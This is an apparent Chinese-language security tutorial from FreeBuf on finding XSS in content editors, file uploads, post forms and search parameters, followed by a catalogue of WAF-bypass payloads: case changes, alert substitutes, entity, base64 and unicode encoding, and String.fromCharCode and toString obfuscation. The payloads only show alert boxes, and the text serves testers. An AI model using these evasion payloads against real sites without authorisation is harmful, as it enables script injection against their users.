xss实战挖掘思路和绕过
文章介绍了 XSS 攻击的多种场景及绕过 WAF 的方法,包括存储型 XSS 和反射型 XSS 的具体案例,以及通过替换大小写、编码混淆(如十六进制实体编码、Unicode 编码)、特殊函数(如 String.fromCharCode 和 parseInt)等技术手段绕过安全防护的详细实现方式。 2025-10-9 14:17:13 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

xss实战场景

内容编辑处的xss

image.png
保存后:
image.png

文件上传xss

image.png
上传html文件:
image.png
访问:
image.png

信息发布处xss

案例一:发布文章(绕过前端过滤)
有些文章支持html标签,但没有对标签进行严格的过滤。如下案例中,仅在前端对危险的html标签进行过滤,通过抓包改包可以轻松绕过。
image.png
弹窗:
image.png
案例二:发布信息
又是测试xss需要两个账号,尤其是发送的信息是非公开信息
image.png
弹框:
image.png

反射xss

反射xss没什么好说的,回显在页面上的话直接进行测试即可。

http://xxxxxx.com/user/search?para=%3Cs%3Esssssssssssssssssss

效果:
image.png
总结,其实xss并不需要什么场景,只要用户能够控制输入,而且数据在前端展示,直接探测即可。

xss 混淆绕过 waf

替换

大小写:

<Script>alert(1);</Script>

禁用 alert 绕过:

<img src="1" onerror="confirm(1)"> (双引号加不加都行)
<script>confirm(1)</script>
<script>prompt(1)</script>

括号:

<script>alert`1`</script>

空格替换:

%09  %0a    %0b   %0c   %0d  %a0   /

单引号替换:

# 单引号替换为反引号 `
<svg%20onload=confir\u006d`1`>

编码混淆

a标签的href属性可以解析实体编码:

# 16 进制实体编码
<a href="javascript:alert(1)">click me</a>

# 10 进制实体编码
javascript:alert(1)

# 16 进制和 10 进制混合
<a href="javascript:alert(1)">click me</a>

# 另外可以实体编码的属性:
iframe 的 src 属性

iframe 的 src 属性可以 base 编码:

<iframe src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>

# 双层编码
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>

# 双层编码
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQR0YxWkdsdklITnlZejB4SUc5dVpYSnliM0k5WTI5dVptbHliU2duZUhOemMzTW5LVDQ9Pjwvb2JqZWN0Pg=="></iframe>

事件可以 unicode 编码:

# unicode 编码
<svg onload=\u0063\u006f\u006e\u0066\u0069\u0072\u006d`1`>

# 字符和编码的混合
<svg onload=confir\u006d`1`>

特殊函数混淆绕过

String.fromCharCode的ascii编码:

<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41));">click me</a>
<img src=1 onmouseover="eval(String.fromCharCode(97,108,101,114,116,40,49,41));">

parseInt 和 toString混淆

parseInt('alert',30) # 值为alert
8680439..toString(30)   # 值为alert
<a/href="javascript:top[8680439..toString(30)]()">ccc</a>

join函数绕过

<iframe onload=location=['javasc','ript:al','ert(1)'].join('')>

推荐xss绕过waf文章:https://cloud.tencent.com/developer/article/1730672

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/451992.html
如有侵权请联系:admin#unsafe.sh